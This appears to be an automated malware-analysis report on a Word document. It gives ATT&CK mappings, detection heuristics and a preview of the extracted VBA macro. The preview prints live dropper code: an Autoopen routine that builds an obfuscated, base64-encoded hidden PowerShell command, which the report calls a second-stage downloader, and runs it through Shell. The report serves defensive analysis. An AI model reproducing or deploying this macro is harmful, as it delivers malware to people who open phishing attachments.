MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with an Autoopen subroutine that calls the Shell function. This function is used to execute a PowerShell command, which is obfuscated but appears to be a downloader for a second-stage payload. The presence of the Autoopen macro and the Shell call strongly indicates a malicious dropper.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6565117-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6565117-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 13709 bytes |
SHA-256: 93232a248a7f0218a4541a2f04c8024e814e849ce64e81b9dd61945df407a0ac |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "iWHIquIzHzHV" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function RqSRwN() On Error Resume Next uzjsnb = Fix(69368 / CSng(76206) * OjLYfN * dCawLi) VhBn = CDate(2687) mkzMlc = Fix(27018 / CSng(35101) * zhvVY * vZwaF) VhBn = CDate(68837) RqSRwN = JJIFMDm + wfTFDmILDVX + fLfBVJdl + hzizd + LYHBKCZp + OAWQhd + pQzdjiwckK + EfEjBn + HjjQjfjhQGP + ozRDZc WrQPG = Fix(66415 / CSng(17110) * nLwHG * dXBVA) VhBn = CDate(26811) End Function Sub Autoopen() On Error Resume Next ZwRPFk = Fix(60702 / CSng(48354) * HvrVO * vWVfJ) VhBn = CDate(26719) CMlHwf (RqSRwN) VzNSO = Fix(33778 / CSng(2802) * EFVWzs * ABzdia) VhBn = CDate(7586) End Sub Function CMlHwf(ZsCFaw) On Error Resume Next QkoXb = Fix(60666 / CSng(99622) * EjMdU * nWOXP) VhBn = CDate(6214) AEAVVlDrz = LYRRRvc + Shell(RJrcnIQr + (Chr(vbKeyP)) + EAFpdNMpjQ + ZsCFaw + KvSbBfvAII, dKlKDsXRsE + vbHide + zzqsZiLFb) VwQNwW = Fix(39532 / CSng(65155) * jlRuzh * tZREkR) VhBn = CDate(81194) End Function Attribute VB_Name = "PiwObPGKALul" Function JJIFMDm() On Error Resume Next tJqbR = Fix(6516 / CSng(29753) * tXqOdJ * FqCnw) VhBn = CDate(96001) PZXWNjX = "owersHeLL -W" + "inDowsTy" + "le hidden -" + "e LgAoACA" KoiskW = Fix(45057 / CSng(67333) * BoYaoB * NfKqRB) VhBn = CDate(7909) pEFTEsjli = "AJABFA" + "G4AVgA6AGMA" + "TwBtAHMAcABFAGM" + "AWwA0ACwAMgA" ZTiKdO = Fix(38516 / CSng(48140) * zzCtY * tEKjp) VhBn = CDate(49831) aMswYvUhnn = "2ACwAMgA" + "1AF0ALQBqAG8AS" + "QBuACcAJwApACAA" + "KAAgACgAKAA" + "oACIAe" + "wAzADcAfQB7A" + "DcANQB9AHsAOQ" + "A2AH0AewA1ADI" + "AfQB7" jhDzo = Fix(14782 / CSng(78051) * iIkmS * rMFZh) VhBn = CDate(30685) asLRjv = "ADIANwB9AHsAOQ" + "A4AH0AewA4AD" + "QAfQB7AD" + "QAOAB9A" + "HsAOAA" + "5AH0AewA2ADMAf" + "QB7ADIAMwB9AHsA" + "MQAwADAA" JJIFMDm = PZXWNjX + pEFTEsjli + aMswYvUhnn + asLRjv End Function Function wfTFDmILDVX() On Error Resume Next cpzwp = Fix(23648 / CSng(32613) * HROWUk * HiZMkE) VhBn = CDate(37573) KdOIciEwBTa = "fQB7ADQANAB9AHs" + "ANwAx" + "AH0AewA5ADEAfQB" + "7ADYANAB9A" + "HsANgB9AH" + "sANAA3A" + "H0AewA3ADgAfQ" + "B7ADcAfQB7A" + "DIAMQB9AHsA" + "NwA3AH0A" SGFCBr = Fix(9271 / CSng(19430) * JsHsE * zvXVX) VhBn = CDate(82938) XTBvV = "ewA2ADEA" + "fQB7ADEA" + "NAB9AHsANQA4A" + "H0AewAz" + "ADEAfQB7ADYA" PwjvF = Fix(52340 / CSng(871) * fHIwj * jJPuCH) VhBn = CDate(14726) mvmnJdSQffh = "OAB9AHsA" + "MgA5AH0AewA4A" + "DcAfQB" + "7ADkAMAB9AH" + "sANQAzAH" + "0AewA2ADcAfQB7" + "ADMANQB9AHsANA" + "AxAH0AewA4ADIAf" + "QB7ADgAMAB9AHsA" cdDCc = Fix(49639 / CSng(32605) * jwzzr * WGldJ) VhBn = CDate(72801) DYTOujSmd = "NQAxAH" + "0AewA0ADUAfQB7" + "ADUANgB9AHsA" + "MgA2A" + "H0AewAyADgAfQB" + "7ADEAOAB9AHsAMQ" + "AzAH0AewA0" wfTFDmILDVX = KdOIciEwBTa + XTBvV + mvmnJdSQffh + DYTOujSmd End Function Function fLfBVJdl() On Error Resume Next kwtXJQ = Fix(73084 / CSng(15850) * VjNCVC * DwaESY) VhBn = CDate(24367) WpZadkn = "ADMAfQB7A" + "DEAMAAyAH0A" + "ewAyA" + "DQAfQB" + "7ADkAfQB7A" + "DEAMAAxAH0AewA5" jzbmJJ = Fix(47509 / CSng(95900) * irfKf * JiEIb) VhBn = CDate(30600) SqPdc = "ADIAfQB" + "7ADEAMQB9AHsAO" + "AB9AHsANwA0" + "AH0AewA" + "zADMA" + "fQB7ADMANAB" + "9AHsAMQA" + "3AH0AewA1" + "ADAAfQB7A" + "DMAOQB9" olTOif = Fix(67334 / CSng(64120) * MluoK * zzRwlr) VhBn = CDate(39660) aARKIw = "AHsAMgAyAH0" + "AewA2" + "ADAAfQB7ADYANgB" + "9AHsAMgAwA" XhYfRZ = Fix(27151 / CSng(30674) * jzLqSu * tOoWft) VhBn = CDate(30611) VBwYQqkCipT = "H0Aew" + "A5ADQAfQ" + "B7ADUANQB9AH" + "sANAA2AH0" + "AewAzA" + "DYAfQ" + "B7ADQ" + "AfQB7ADU" + "ANAB9AHsAMQ" + "B9AHsAMQAwA" fLfBVJdl = WpZadkn + SqPdc + aARKIw + VBwYQqkCipT End Function Function hzizd() On Error Resume Next IVfFri = Fix(58021 / CSng(84829) * HwhKz * HzwAK) VhBn = CDate(77925) hWqrqrBMjbd = "DMAfQB7ADcAN" + "gB9AHsAOAAxA" + "H0AewAxADkA" + "fQB7ADEANQB9A" + "HsANwAwAH0AewA" + "5ADMAfQB7ADg" + "AOA ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.